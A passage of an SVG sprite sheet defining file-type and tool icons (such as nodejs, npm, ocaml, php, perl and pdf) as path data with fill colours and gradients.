d="M99.3 78.5c-.4 2.7-1.2 5.8-2.9 7.8-.2.2-.4.3-.6.3h-5c-.2 0-.5-.1-.6-.3-1.2-1.5-2-3.5-2.5-5.6 0 0 5.8.8 9.1-.4 2.4-.9 2.5-1.8 2.5-1.8z"/></g></symbol><symbol viewBox="0 0 24 24" id="movie" xmlns="http://www.w3.org/2000/svg"><path d="M18 4l2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2V4h-4z" fill="#ff9800"/></symbol><symbol viewBox="0 0 24 24" id="music" xmlns="http://www.w3.org/2000/svg"><path d="M16 9V7h-4v5.5c-.42-.31-.93-.5-1.5-.5A2.5 2.5 0 0 0 8 14.5a2.5 2.5 0 0 0 2.5 2.5 2.5 2.5 0 0 0 2.5-2.5V9h3m-4-7a10 10 0 0 1 10 10 10 10 0 0 1-10 10A10 10 0 0 1 2 12 10 10 0 0 1 12 2z" fill="#ef5350"/></symbol><symbol viewBox="0 0 24 24" id="mxml" xmlns="http://www.w3.org/2000/svg"><path d="M13 9h5.5L13 3.5V9M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m.12 13.5l3.74 3.74 1.42-1.41-2.33-2.33 2.33-2.33-1.42-1.41-3.74 3.74m11.16 0l-3.74-3.74-1.42 1.41 2.33 2.33-2.33 2.33 1.42 1.41 3.74-3.74z" fill="#ffa726"/></symbol><symbol viewBox="0 0 300 300" id="ngrx-actions" xmlns="http://www.w3.org/2000/svg"><path d="M150 27.324L35.85 68.006l17.303 151.09 96.843 53.586 96.843-53.586 17.303-151.09zm-23.719 38.349c4.346-.075 9.04 1.316 14.265 4.131 2.3 1.24 9.235 2.994 15.407 3.889 21.936 3.18 47.975 19.934 56.21 36.186 5.667 11.183 4.508 17.209-4.18 21.702-7.492 3.874-22.822 2-45.08-5.517l-18.785-6.343-6.683 2.552c-9.683 3.698-19.366 12.877-23.33 22.09-2.858 6.645-3.293 9.768-2.77 20.705.523 10.955 1.315 14.12 5.2 20.997 4.423 7.829 14.576 17.818 16.331 16.064.473-.473-.574-3.648-2.308-7.048-1.735-3.4-2.744-6.825-2.26-7.606.482-.781 5.054 2.123 10.157 6.44 11.35 9.6 24.608 15.74 36.77 17.01 9.985 1.045 12.266-.814 4.787-3.912-2.41-.998-5.544-3.088-6.95-4.641-2.907-3.212-3.072-3.12 9.356-5.906 7.736-1.733 23.026-9.849 23.937-12.71.29-.91-2.195-1.296-6.27-.972-3.706.295-6.732-.087-6.732-.85 0-.76 3.032-4.523 6.732-8.385 13.883-14.489 18.62-25.32 20.098-45.906l1.02-14.217 3.257 6.756c3.601 7.452 4.265 18.202 1.701 27.437-2.141 7.711-.712 8.564 3.208 1.92 4.845-8.212 6.39-6.905 5.54 4.666-.924 12.587-5.243 22.017-14.993 32.686-7.95 8.699-7.001 10.254 2.624 4.326 9.273-5.711 10.511-4.815 5.736 4.155-9.031 16.964-28.122 31.35-47.948 36.161-12.016 2.917-20.537 3.461-31.544 2.018-28.78-3.775-56.001-23.157-68.993-49.114-3.378-6.748-8.154-14.994-10.62-18.348-5.092-6.924-5.529-10.038-2.09-15.286 1.715-2.618 2.116-5.307 1.41-9.308-3.273-18.531-3.167-19.11 4.276-26.659 6.468-6.56 6.878-7.44 6.878-15.092 0-6.637.671-8.813 3.67-11.811 2.02-2.02 5.23-3.7 7.12-3.718 5.49-.05 14.97-5.135 20.584-11.033 4.687-4.927 9.674-7.417 15.262-7.51z" fill="#ab47bc" stroke-width="12.914"/></symbol><symbol viewBox="0 0 300 300" id="ngrx-effects" xmlns="http://www.w3.org/2000/svg"><path d="M150 27.324L35.85 68.006l17.303 151.09 96.843 53.586 96.843-53.586 17.303-151.09zm-23.719 38.349c4.346-.075 9.04 1.316 14.265 4.131 2.3 1.24 9.235 2.994 15.407 3.889 21.936 3.18 47.975 19.934 56.21 36.186 5.667 11.183 4.508 17.209-4.18 21.702-7.492 3.874-22.822 2-45.08-5.517l-18.785-6.343-6.683 2.552c-9.683 3.698-19.366 12.877-23.33 22.09-2.858 6.645-3.293 9.768-2.77 20.705.523 10.955 1.315 14.12 5.2 20.997 4.423 7.829 14.576 17.818 16.331 16.064.473-.473-.574-3.648-2.308-7.048-1.735-3.4-2.744-6.825-2.26-7.606.482-.781 5.054 2.123 10.157 6.44 11.35 9.6 24.608 15.74 36.77 17.01 9.985 1.045 12.266-.814 4.787-3.912-2.41-.998-5.544-3.088-6.95-4.641-2.907-3.212-3.072-3.12 9.356-5.906 7.736-1.733 23.026-9.849 23.937-12.71.29-.91-2.195-1.296-6.27-.972-3.706.295-6.732-.087-6.732-.85 0-.76 3.032-4.523 6.732-8.385 13.883-14.489 18.62-25.32 20.098-45.906l1.02-14.217 3.257 6.756c3.601 7.452 4.265 18.202 1.701 27.437-2.141 7.711-.712 8.564 3.208 1.92 4.845-8.212 6.39-6.905 5.54 4.666-.924 12.587-5.243 22.017-14.993 32.686-7.95 8.699-7.001 10.254 2.624 4.326 9.273-5.711 10.511-4.815 5.736 4.155-9.031 16.964-28.122 31.35-47.948 36.161-12.016 2.917-20.537 3.461-31.544 2.018-28.78-3.775-56.001-23.157-68.993-49.114-3.378-6.748-8.154-14.994-10.62-18.348-5.092-6.924-5.529-10.038-2.09-15.286 1.715-2.618 2.116-5.307 1.41-9.308-3.273-18.531-3.167-19.11 4.276-26.659 6.468-6.56 6.878-7.44 6.878-15.092 0-6.637.671-8.813 3.67-11.811 2.02-2.02 5.23-3.7 7.12-3.718 5.49-.05 14.97-5.135 20.584-11.033 4.687-4.927 9.674-7.417 15.262-7.51z" fill="#26c6da" stroke-width="12.914"/></symbol><symbol viewBox="0 0 300 300" id="ngrx-reducer" xmlns="http://www.w3.org/2000/svg"><path d="M150 27.324L35.85 68.006l17.303 151.09 96.843 53.586 96.843-53.586 17.303-151.09zm-23.719 38.349c4.346-.075 9.04 1.316 14.265 4.131 2.3 1.24 9.235 2.994 15.407 3.889 21.936 3.18 47.975 19.934 56.21 36.186 5.667 11.183 4.508 17.209-4.18 21.702-7.492 3.874-22.822 2-45.08-5.517l-18.785-6.343-6.683 2.552c-9.683 3.698-19.366 12.877-23.33 22.09-2.858 6.645-3.293 9.768-2.77 20.705.523 10.955 1.315 14.12 5.2 20.997 4.423 7.829 14.576 17.818 16.331 16.064.473-.473-.574-3.648-2.308-7.048-1.735-3.4-2.744-6.825-2.26-7.606.482-.781 5.054 2.123 10.157 6.44 11.35 9.6 24.608 15.74 36.77 17.01 9.985 1.045 12.266-.814 4.787-3.912-2.41-.998-5.544-3.088-6.95-4.641-2.907-3.212-3.072-3.12 9.356-5.906 7.736-1.733 23.026-9.849 23.937-12.71.29-.91-2.195-1.296-6.27-.972-3.706.295-6.732-.087-6.732-.85 0-.76 3.032-4.523 6.732-8.385 13.883-14.489 18.62-25.32 20.098-45.906l1.02-14.217 3.257 6.756c3.601 7.452 4.265 18.202 1.701 27.437-2.141 7.711-.712 8.564 3.208 1.92 4.845-8.212 6.39-6.905 5.54 4.666-.924 12.587-5.243 22.017-14.993 32.686-7.95 8.699-7.001 10.254 2.624 4.326 9.273-5.711 10.511-4.815 5.736 4.155-9.031 16.964-28.122 31.35-47.948 36.161-12.016 2.917-20.537 3.461-31.544 2.018-28.78-3.775-56.001-23.157-68.993-49.114-3.378-6.748-8.154-14.994-10.62-18.348-5.092-6.924-5.529-10.038-2.09-15.286 1.715-2.618 2.116-5.307 1.41-9.308-3.273-18.531-3.167-19.11 4.276-26.659 6.468-6.56 6.878-7.44 6.878-15.092 0-6.637.671-8.813 3.67-11.811 2.02-2.02 5.23-3.7 7.12-3.718 5.49-.05 14.97-5.135 20.584-11.033 4.687-4.927 9.674-7.417 15.262-7.51z" fill="#e53935" stroke-width="12.914"/></symbol><symbol viewBox="0 0 300 300" id="ngrx-state" xmlns="http://www.w3.org/2000/svg"><path d="M150 27.324L35.85 68.006l17.303 151.09 96.843 53.586 96.843-53.586 17.303-151.09zm-23.719 38.349c4.346-.075 9.04 1.316 14.265 4.131 2.3 1.24 9.235 2.994 15.407 3.889 21.936 3.18 47.975 19.934 56.21 36.186 5.667 11.183 4.508 17.209-4.18 21.702-7.492 3.874-22.822 2-45.08-5.517l-18.785-6.343-6.683 2.552c-9.683 3.698-19.366 12.877-23.33 22.09-2.858 6.645-3.293 9.768-2.77 20.705.523 10.955 1.315 14.12 5.2 20.997 4.423 7.829 14.576 17.818 16.331 16.064.473-.473-.574-3.648-2.308-7.048-1.735-3.4-2.744-6.825-2.26-7.606.482-.781 5.054 2.123 10.157 6.44 11.35 9.6 24.608 15.74 36.77 17.01 9.985 1.045 12.266-.814 4.787-3.912-2.41-.998-5.544-3.088-6.95-4.641-2.907-3.212-3.072-3.12 9.356-5.906 7.736-1.733 23.026-9.849 23.937-12.71.29-.91-2.195-1.296-6.27-.972-3.706.295-6.732-.087-6.732-.85 0-.76 3.032-4.523 6.732-8.385 13.883-14.489 18.62-25.32 20.098-45.906l1.02-14.217 3.257 6.756c3.601 7.452 4.265 18.202 1.701 27.437-2.141 7.711-.712 8.564 3.208 1.92 4.845-8.212 6.39-6.905 5.54 4.666-.924 12.587-5.243 22.017-14.993 32.686-7.95 8.699-7.001 10.254 2.624 4.326 9.273-5.711 10.511-4.815 5.736 4.155-9.031 16.964-28.122 31.35-47.948 36.161-12.016 2.917-20.537 3.461-31.544 2.018-28.78-3.775-56.001-23.157-68.993-49.114-3.378-6.748-8.154-14.994-10.62-18.348-5.092-6.924-5.529-10.038-2.09-15.286 1.715-2.618 2.116-5.307 1.41-9.308-3.273-18.531-3.167-19.11 4.276-26.659 6.468-6.56 6.878-7.44 6.878-15.092 0-6.637.671-8.813 3.67-11.811 2.02-2.02 5.23-3.7 7.12-3.718 5.49-.05 14.97-5.135 20.584-11.033 4.687-4.927 9.674-7.417 15.262-7.51z" fill="#9ccc65" stroke-width="12.914"/></symbol><symbol viewBox="0 0 24 24" id="nim" xmlns="http://www.w3.org/2000/svg"><path d="M4.464 15.75L2.288 3.78l5.985 7.617L12.08 3.78l3.809 7.617 5.985-7.617-2.177 11.97H4.464m15.234 3.264a1.088 1.088 0 0 1-1.088 1.088H5.553a1.088 1.088 0 0 1-1.089-1.088v-1.089h15.234z" stroke-width="1.088" fill="#ffca28"/></symbol><symbol viewBox="0 0 500 500" id="nix" xmlns="http://www.w3.org/2000/svg"><g transform="translate(-1.965 36.302)" stroke-width=".395"><path d="M135.59 415.7c0-.295-2.752-5.283-6.116-11.084-3.364-5.801-6.116-10.776-6.116-11.055s9.514-16.889 21.143-36.912c11.629-20.022 21.323-36.798 21.542-37.279.346-.76-1.608-4.363-14.896-27.466-8.412-14.625-15.294-26.785-15.294-27.023 0-.5 24.46-43.501 25.206-44.31.414-.45.592-.384 1.078.395.32.513 16.876 29.256 36.791 63.87 62.62 108.85 74.852 130.01 75.41 130.46.3.242.544.554.544.694 0 .14-11.836.21-26.302.154-23.023-.09-26.313-.175-26.393-.694-.11-.714-27.662-48.825-28.86-50.392-.746-.978-.906-1.035-1.426-.51-.688.696-28.954 49.323-29.49 50.733l-.365.96h-13.229c-10.896 0-13.229-.095-13.229-.538zm167.58-125.61c-.134-.216 1.188-2.863 2.938-5.882 6.924-11.944 84.291-145.75 96.491-166.88 7.143-12.371 13.142-22.465 13.333-22.433.363.062 25.861 43.105 25.861 43.655 0 .174-6.761 11.952-15.026 26.173-8.46 14.557-14.932 26.104-14.81 26.421.185.483 4.564.564 30.213.564h29.996l.958 1.48c.526.814 3.296 5.547 6.155 10.518 2.859 4.971 5.45 9.29 5.756 9.597.706.705.704.724-.16 1.572-.395.388-3.36 5.323-6.587 10.965-3.228 5.643-6.056 10.387-6.285 10.543-.23.156-19.695.171-43.256.034l-42.84-.249-.804 1.15c-.441.632-7.504 12.736-15.696 26.897l-14.892 25.747H339.03c-8.517 0-20.015.116-25.55.259-6.55.168-10.15.121-10.309-.135zM169.42 132.23c-56.373-.055-102.5-.182-102.5-.282 0-.1 5.617-10.132 12.481-22.294l12.481-22.112h30.332c27.113 0 30.332-.065 30.332-.611 0-.336-6.659-12.228-14.797-26.427-8.139-14.199-14.797-25.917-14.797-26.04 0-.123 2.682-4.853 5.96-10.51s6.003-10.578 6.055-10.934c.086-.586 1.376-.648 13.572-.648 7.413 0 13.463.143 13.446.317-.017.174.222.707.531 1.184.31.476 9.763 16.937 21.007 36.578 11.244 19.64 20.71 36.022 21.036 36.4.554.647 2.549.691 31.428.691h30.837l12.896 22.145c7.093 12.18 12.8 22.301 12.682 22.492-.118.19-4.776.303-10.352.249-5.575-.054-56.26-.143-112.63-.198z" fill="#5075c1"/><path d="M25.289 203.14c-6.098 10.563-6.69 11.711-6.225 12.078.283.224 3.18 5.044 6.44 10.712 3.261 5.668 6.017 10.355 6.124 10.417.106.061 13.585.153 29.95.204 16.367.052 29.994.23 30.285.399.472.273-1.08 3.094-14.637 26.574L62.06 289.793l12.907 21.865c7.1 12.026 12.982 21.906 13.068 21.956.086.05 23.257-39.831 51.492-88.624 11.352-19.617 21.214-36.64 30.37-52.442 23.308-40.452 30.68-53.468 30.73-54.132-1.097-.11-6.141-.187-13.006-.216-3.945-.01-7.82-.02-12.75-.002l-25.341.092-15.42 26.706c-14.256 24.693-15.445 26.663-16.278 26.86l-.024.037c-.011.003-1.62-.001-1.825 0-4.29.062-20.453.063-40.226-.01-22.632-.082-41.615-.125-42.183-.096-.568.03-1.147-.03-1.29-.132-.142-.102-3.29 5.066-6.996 11.485zm205.16-190.3c-.123.149 5.62 10.392 12.761 22.763 12.199 21.131 89.393 155.03 96.276 167 1.502 2.613 2.92 4.803 3.443 5.348.9-1.249 3.531-5.63 7.954-13.219a1342.88 1342.88 0 0 1 10.049-17.76l6.606-11.443c.692-1.403.754-1.818.653-2.117-.162-.48-6.904-12.332-14.982-26.337-8.078-14.005-14.824-25.849-14.991-26.32a.73.73 0 0 1-.009-.366l-.426-.913L359.42 72.5c3.69-6.307 6.425-11.042 9.47-16.29 9.159-15.948 12.037-21.189 11.896-21.55-.126-.324-2.7-4.83-5.72-10.017-3.021-5.185-5.845-10.148-6.275-11.026-.483-.987-.734-1.364-1.1-1.456-.054.014-.083.018-.145.035-.42.112-5.454.195-11.189.185-5.734-.01-11.22.024-12.188.073l-1.76.089-14.997 25.978c-12.824 22.212-15.084 25.964-15.595 25.883-.024-.004-.15-.189-.235-.301-.109.066-.2.09-.272.05-.255-.148-7.143-11.902-15.306-26.119l-14.36-25.016c-.115-.186-.444-.744-.457-.752-.477-.275-50.502.287-50.737.57zm-18.646 283.09c-.047.109-.026.262.042.48.329 1.05 25.338 43.735 25.772 43.985.207.119 14.178.239 31.05.266 26.651.044 30.75.152 31.234.832.308.43 9.988 17.214 21.513 37.296s21.152 36.627 21.394 36.767c.242.14 5.927.243 12.633.23 6.706-.013 12.401.099 12.657.246.132.076.382-.141.852-.795l6.008-10.406c5.234-9.065 6.62-11.684 6.294-11.888-.575-.36-15.597-26.643-23.859-41.482-3.09-5.45-5.37-9.516-5.441-9.774-.195-.712-.065-.822 1.156-.98 1.956-.252 57.397-.057 58.07.205.238.092.79-.569 2.594-3.497 1.866-3.067 5.03-8.524 11-18.866 7.22-12.505 13.044-22.784 12.942-22.843-.102-.059-.771-.051-1.489.016l-.046.001c-4.452.204-33.918.203-149.74.025-38.96-.06-69.786-.09-71.912-.072-1.121.01-2.095.076-2.66.172a.25.25 0 0 0-.062.083z" fill="#7db7e1"/></g></symbol><symbol viewBox="0 0 24 24" id="nodejs" xmlns="http://www.w3.org/2000/svg"><path d="M12 1.85c-.27 0-.55.07-.78.2l-7.44 4.3c-.48.28-.78.8-.78 1.36v8.58c0 .56.3 1.08.78 1.36l1.95 1.12c.95.46 1.27.47 1.71.47 1.4 0 2.21-.85 2.21-2.33V8.44c0-.12-.1-.22-.22-.22H8.5c-.13 0-.23.1-.23.22v8.47c0 .66-.68 1.31-1.77.76L4.45 16.5a.26.26 0 0 1-.11-.21V7.71c0-.09.04-.17.11-.21l7.44-4.29c.06-.04.16-.04.22 0l7.44 4.29c.07.04.11.12.11.21v8.58c0 .08-.04.16-.11.21l-7.44 4.29c-.06.04-.16.04-.23 0L10 19.65c-.08-.03-.16-.04-.21-.01-.53.3-.63.36-1.12.51-.12.04-.31.11.07.32l2.48 1.47c.24.14.5.21.78.21s.54-.07.78-.21l7.44-4.29c.48-.28.78-.8.78-1.36V7.71c0-.56-.3-1.08-.78-1.36l-7.44-4.3c-.23-.13-.5-.2-.78-.2M14 8c-2.12 0-3.39.89-3.39 2.39 0 1.61 1.26 2.08 3.3 2.28 2.43.24 2.62.6 2.62 1.08 0 .83-.67 1.18-2.23 1.18-1.98 0-2.4-.49-2.55-1.47a.226.226 0 0 0-.22-.18h-.96c-.12 0-.21.09-.21.22 0 1.24.68 2.74 3.94 2.74 2.35 0 3.7-.93 3.7-2.55 0-1.61-1.08-2.03-3.37-2.34-2.31-.3-2.54-.46-2.54-1 0-.45.2-1.05 1.91-1.05 1.5 0 2.09.33 2.32 1.36.02.1.11.17.21.17h.97c.05 0 .11-.02.15-.07.04-.04.07-.1.05-.16C17.56 8.82 16.38 8 14 8z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 300 300" id="nodemon" xmlns="http://www.w3.org/2000/svg"><title>nodemon</title><path d="M149.868 20.62c-2.124 0-4.25.55-6.154 1.648L41.899 81.083a12.306 12.306 0 0 0-6.15 10.652v117.633a12.29 12.29 0 0 0 6.152 10.646l101.815 58.766h.001a12.282 12.282 0 0 0 12.291 0l101.84-58.766a12.29 12.29 0 0 0 6.153-10.652V91.738a12.31 12.31 0 0 0-6.146-10.652L156.015 22.27a12.302 12.302 0 0 0-6.153-1.648zM83.303 70.93s11.789 33.031 35.477 31.934l27.74-15.961a7.348 7.348 0 0 1 3.414-.99h.641a7.233 7.233 0 0 1 3.404.99l27.738 15.961c23.69 1.094 35.475-31.934 35.475-31.934 5.233 23.154 1.06 38.641-5.924 48.942l4.541 2.614h.002c2.321 1.327 3.734 3.795 3.737 6.49l-.12 95.811a3.724 3.724 0 0 1-1.855 3.227 3.624 3.624 0 0 1-3.735 0L177.1 206.971c-2.311-1.363-3.742-3.818-3.742-6.48v-44.763a7.44 7.44 0 0 0-3.737-6.465l-15.642-9.01a7.28 7.28 0 0 0-3.715-1.01 7.378 7.378 0 0 0-3.742 1.01l-15.648 9.01c-2.316 1.323-3.729 3.798-3.729 6.467v44.762c0 2.663-1.413 5.1-3.738 6.48l-36.748 21.041a3.571 3.571 0 0 1-3.71 0c-1.173-.65-1.864-1.887-1.864-3.224l-.137-95.812a7.483 7.483 0 0 1 3.74-6.49l4.541-2.615c-6.982-10.302-11.16-25.79-5.925-48.942z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 990 990" id="npm" xmlns="http://www.w3.org/2000/svg"><defs><style>.hncls-1{fill:#cb3837}.cls-2{fill:#fff}</style></defs><title>n</title><path class="hncls-1" d="M113.26 876.74V113.27h763.47v763.47zm143.59-620.4v476.18h240.61V355.63h140.21v376.96h95.457V256.34z" fill="#e53935" stroke-width=".771"/></symbol><symbol id="nunjucks" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><style>.host0{fill:#388e3c}</style><path class="host0" d="M11.2 21.1H8.1l-2.3-7.9v7.9H2.7V2.9h3.1l2.3 7.4V2.9h3.1zM21.3 19.2c0 1-.8 1.9-1.9 1.9h-4.8c-1 0-1.9-.8-1.9-1.9v-3.8l3.2-.7V18h2.3V7.2h3.1v12z"/></symbol><symbol viewBox="0 0 150 150.00001" id="ocaml" xmlns="http://www.w3.org/2000/svg"><g transform="matrix(.76136 0 0 .76136 11.616 19.98)"><path d="M83.02 101.645l.023-.062c-.035-.159-.047-.195-.024.062z" fill="none" stroke-width="1.028"/><linearGradient id="hpa" gradientUnits="userSpaceOnUse" x1="-696.735" y1="97.7" x2="-696.735" y2="142.997" gradientTransform="matrix(1.02783 0 0 1.02783 776.895 2.337)"><stop offset="0" stop-color="#f29100"/><stop offset="1" stop-color="#ec670f"/></linearGradient><path d="M82.313 138.79c-.471-1.004-1.904-3.621-2.624-4.46-1.562-1.828-1.927-1.966-2.386-4.275-.799-4.02-2.913-11.31-5.405-16.341-1.286-2.596-3.426-4.777-5.385-6.66-1.71-1.652-5.565-4.431-6.237-4.294-6.296 1.257-8.249 7.432-11.21 12.323-1.638 2.705-3.374 5.007-4.665 7.885-1.192 2.646-1.087 5.577-3.128 7.849-2.093 2.333-3.454 4.814-4.48 7.829-.194.574-.747 6.596-1.348 8.015l9.357-.659c8.719.594 6.2 3.936 19.81 3.208l21.487-.665c-.666-1.97-1.584-4.25-1.938-4.991-.599-1.248-1.352-3.69-1.848-4.763z" fill="url(#hpa)" stroke-width="1.028"/><linearGradient id="hpb" gradientUnits="userSpaceOnUse" x1="-666.972" y1="142.12" x2="-666.972" y2="142.12" gradientTransform="matrix(1.02783 0 0 1.02783 776.895 2.337)"><stop offset="0" stop-color="#f29100"/><stop offset="1" stop-color="#ec670f"/></linearGradient><linearGradient id="hpc" gradientUnits="userSpaceOnUse" x1="-675.228" y1="-1.28" x2="-675.228" y2="142.967" gradientTransform="matrix(1.02783 0 0 1.02783 776.895 2.337)"><stop offset="0" stop-color="#f29100"/><stop offset="1" stop-color="#ec670f"/></linearGradient><path d="M109.553 94.296c-1.652 1.193-4.88 4.06-11.902 5.145-3.152.487-6.1.527-9.335.365-1.584-.076-3.077-.157-4.665-.177-.936-.008-4.074-.107-3.919.193l-.349.871c.054.287.169 1.004.2 1.177.129.704.165 1.265.192 1.912.048 1.331-.11 2.719-.043 4.062.141 2.787 1.175 5.326 1.306 8.137.143 3.13 1.69 6.442 3.188 8.998.569.973 1.434 1.084 1.811 2.283.442 1.373.024 2.83.239 4.293.842 5.675 2.477 11.606 5.032 16.728.018.043.038.09.06.128 3.156-.53 6.318-1.665 10.418-2.271 7.517-1.115 17.972-.54 24.688-1.17 16.993-1.597 26.216 6.97 41.478 3.459V22.459c0-11.84-9.594-21.438-21.435-21.438H19.239C7.4 1.021-2.197 10.62-2.197 22.458v46.774c3.067-1.11 7.479-7.635 8.861-9.222 2.419-2.775 2.858-6.315 4.062-8.544 2.743-5.078 3.215-8.57 9.451-8.57 2.907 0 4.061.67 6.027 3.31 1.368 1.834 3.731 5.224 4.837 7.49 1.277 2.615 3.357 6.153 4.272 6.867.677.53 1.35.928 1.976 1.163 1.012.38 1.848-.316 2.525-.855.863-.687 1.235-2.088 2.035-3.957 1.152-2.696 2.408-5.926 3.122-7.054 1.237-1.949 1.658-4.261 2.993-5.381 1.97-1.652 4.54-1.768 5.246-1.908 3.957-.781 5.755 1.906 7.704 3.645 1.276 1.138 3.019 3.432 4.256 6.507.967 2.4 2.199 4.622 2.714 6.008.497 1.339 1.725 3.484 2.453 6.055.661 2.336 2.43 4.125 3.102 5.235 0 0 1.029 2.882 7.285 5.516 1.357.572 4.1 1.501 5.736 2.096 2.718.988 5.351.86 8.704.458 2.391 0 3.686-3.462 4.772-6.234.643-1.639 1.259-6.334 1.678-7.667.406-1.297-.544-2.3.265-3.437.946-1.327 1.508-1.399 2.054-3.129 1.172-3.704 7.95-3.89 11.761-3.89 3.176 0 2.772 3.083 8.16 2.028 3.086-.605 6.059.398 9.335 1.265 2.758.732 5.352 1.566 6.906 3.385 1.005 1.178 3.5 7.08.958 7.331.244.3.423.84.88 1.135-.566 2.226-3.03.64-4.4.355-1.845-.383-3.147.057-4.952.856-3.085 1.374-7.598 1.214-10.286 3.452-2.281 1.898-2.277 6.133-3.34 8.507-.002-.001-2.955 7.6-9.402 12.248z" fill="url(#hpc)" stroke-width="1.028"/><linearGradient id="hpd" gradientUnits="userSpaceOnUse" x1="-735.137" y1="90.833" x2="-735.137" y2="141.967" gradientTransform="matrix(1.02783 0 0 1.02783 776.895 2.337)"><stop offset="0" stop-color="#f29100"/><stop offset="1" stop-color="#ec670f"/></linearGradient><path d="M38.247 105.09c-1.467-.15-2.83-.317-4.256-.605-2.662-.536-5.57-1.06-8.193-1.688-1.592-.385-6.895-2.263-8.048-2.792-2.702-1.246-4.496-4.63-6.609-4.282-1.348.22-2.662.682-3.5 2.042-.685 1.11-.917 3.016-1.391 4.294-.55 1.485-1.5 2.87-2.331 4.284-1.53 2.595-4.282 4.941-5.468 7.469-.239.52-.45 1.101-.649 1.708V144.415a48.57 48.57 0 0 1 4.45.96c11.955 3.19 14.872 3.46 26.598 2.119l1.1-.146c.897-1.867 1.59-8.227 2.171-10.195.454-1.51 1.077-2.712 1.313-4.253.223-1.463-.02-2.858-.146-4.188-.329-3.332 2.427-4.522 3.742-7.384 1.186-2.589 1.871-5.535 2.853-8.181.941-2.54 2.41-6.13 4.918-7.408-.305-.355-5.237-.518-6.554-.65z" fill="url(#hpd)" stroke-width="1.028"/></g></symbol><symbol viewBox="0 0 24 24" id="pdf" xmlns="http://www.w3.org/2000/svg"><path d="M14 9h5.5L14 3.5V9M7 2h8l6 6v12a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2m4.93 10.44c.41.9.93 1.64 1.53 2.15l.41.32c-.87.16-2.07.44-3.34.93l-.11.04.5-1.04c.45-.87.78-1.66 1.01-2.4m6.48 3.81c.18-.18.27-.41.28-.66.03-.2-.02-.39-.12-.55-.29-.47-1.04-.69-2.28-.69l-1.29.07-.87-.58c-.63-.52-1.2-1.43-1.6-2.56l.04-.14c.33-1.33.64-2.94-.02-3.6a.853.853 0 0 0-.61-.24h-.24c-.37 0-.7.39-.79.77-.37 1.33-.15 2.06.22 3.27v.01c-.25.88-.57 1.9-1.08 2.93l-.96 1.8-.89.49c-1.2.75-1.77 1.59-1.88 2.12-.04.19-.02.36.05.54l.03.05.48.31.44.11c.81 0 1.73-.95 2.97-3.07l.18-.07c1.03-.33 2.31-.56 4.03-.75 1.03.51 2.24.74 3 .74.44 0 .74-.11.91-.3m-.41-.71l.09.11c-.01.1-.04.11-.09.13h-.04l-.19.02c-.46 0-1.17-.19-1.9-.51.09-.1.13-.1.23-.1 1.4 0 1.8.25 1.9.35M8.83 17c-.65 1.19-1.24 1.85-1.69 2 .05-.38.5-1.04 1.21-1.69l.48-.31m3.02-6.91c-.23-.9-.24-1.63-.07-2.05l.07-.12.15.05c.17.24.19.56.09 1.1l-.03.16-.16.82-.05.04z" fill="#f44336"/></symbol><symbol viewBox="0 0 24 24" id="perl" xmlns="http://www.w3.org/2000/svg"><path d="M12 14c-1 0-3 1-3 2 0 2 3 2 3 2v-1a1 1 0 0 1-1-1 1 1 0 0 1 1-1v-1m0 5s-4-.5-4-2.5c0-3 3-3.75 4-3.75V11.5c-1 0-5 1.5-5 4.5 0 4 5 4 5 4v-1M10.07 7.03l1.19.53c.43-2.44 1.58-4.06 1.58-4.06-.43 1.03-.71 1.88-.89 2.55C13.16 3.55 15.61 2 15.61 2a15.916 15.916 0 0 0-2.64 3.53c1.58-1.68 3.77-2.78 3.77-2.78-2.69 1.72-3.9 4.45-4.2 5.21l.55.08c0 .52 0 1 .25 1.38C14.1 11.31 18 11.47 18 16s-4.03 6-6.17 6C9.69 22 5 21.03 5 16s4.95-5.07 5.83-7.08c.12-.38-.76-1.89-.76-1.89z" fill="#9575cd"/></symbol><symbol viewBox="0 0 24 24" id="php" xmlns="http://www.w3.org/2000/svg"><path d="M12 18.08c-6.63 0-12-2.72-12-6.08s5.37-6.08 12-6.08S24 8.64 24 12s-5.37 6.08-12 6.08m-5.19-7.95c.54 0 .91.1 1.09.31.18.2.22.56.13 1.03-.1.53-.29.87-.58 1.09-.28.22-.71.33-1.29.33h-.87l.53-2.76h.99m-3.5 5.55h1.44l.34-1.75h1.23c.54 0 .98-.06 1.33-.17.35-.12.67-.31.96-.58.24-.22.43-.46.58-.73.15-.26.26-.56.31-.88.16-.78.05-1.39-.33-1.82-.39-.44-.99-.65-1.82-.65H4.59l-1.28 6.58m7.25-8.33l-1.28 6.58h1.42l.74-3.77h1.14c.36 0 .6.06.71.18.11.12.13.34.07.66l-.57 2.93h1.45l.59-3.07c.13-.62.03-1.07-.27-1.36-.3-.27-.85-.4-1.65-.4h-1.27L12 7.35h-1.44M18 10.13c.55 0 .91.1 1.09.31.18.2.22.56.13 1.03-.1.53-.29.87-.57 1.09-.29.22-.72.33-1.3.33h-.85l.5-2.76h1m-3.5 5.55h1.44l.34-1.75h1.22c.55 0 1-.06 1.35-.17.35-.12.65-.31.95-.58.24-.22.44-.46.58-.73.15-.26.26-.56.32-.88.15-.78.04-1.39-.34-1.82-.36-.44-.99-.65-1.82-.65h-2.75l-1.29 6.58z" fill="#1E88E5"/></symbol><symbol viewBox="0 0 79 78" id="postcss" xmlns="http://www.w3.org/2000/svg"><title>postcss-logo-symbol</title><g transform="translate(5.48 5.52) scale(.85425)" fill="#e53935" fill-rule="evenodd" stroke="#e53935" stroke-width="1.519"><path d="M15.447 32.623c.106.08.29.132.106.29-.132.184-.29.342-.395.553-.105.185-.184.237-.342.106.21-.343.42-.66.63-.95zM68.342 60.24c0 .078.026.13.026.21.053-.105.053-.158.08-.21zm0 .236v-.026zm-5.368 10.277l-4.58-25.402c-.078-.025-.183-.077-.368-.13.053.105.08.184.106.263.13-.026.184-.026.236-.052 0-.026 0-.052.027-.08l4.58 25.404zm-4.737-31.12c-.026.078-.026.158-.026.237 0-.08 0-.16.028-.238zm.026.526c-.026 0-.026 0-.052-.028v.026c.028.026.028.026.054 0zm-.052.21v-.185c-.077.026-.156.026-.262.053.132.05.264.078.264.13z"/><path d="M78.71 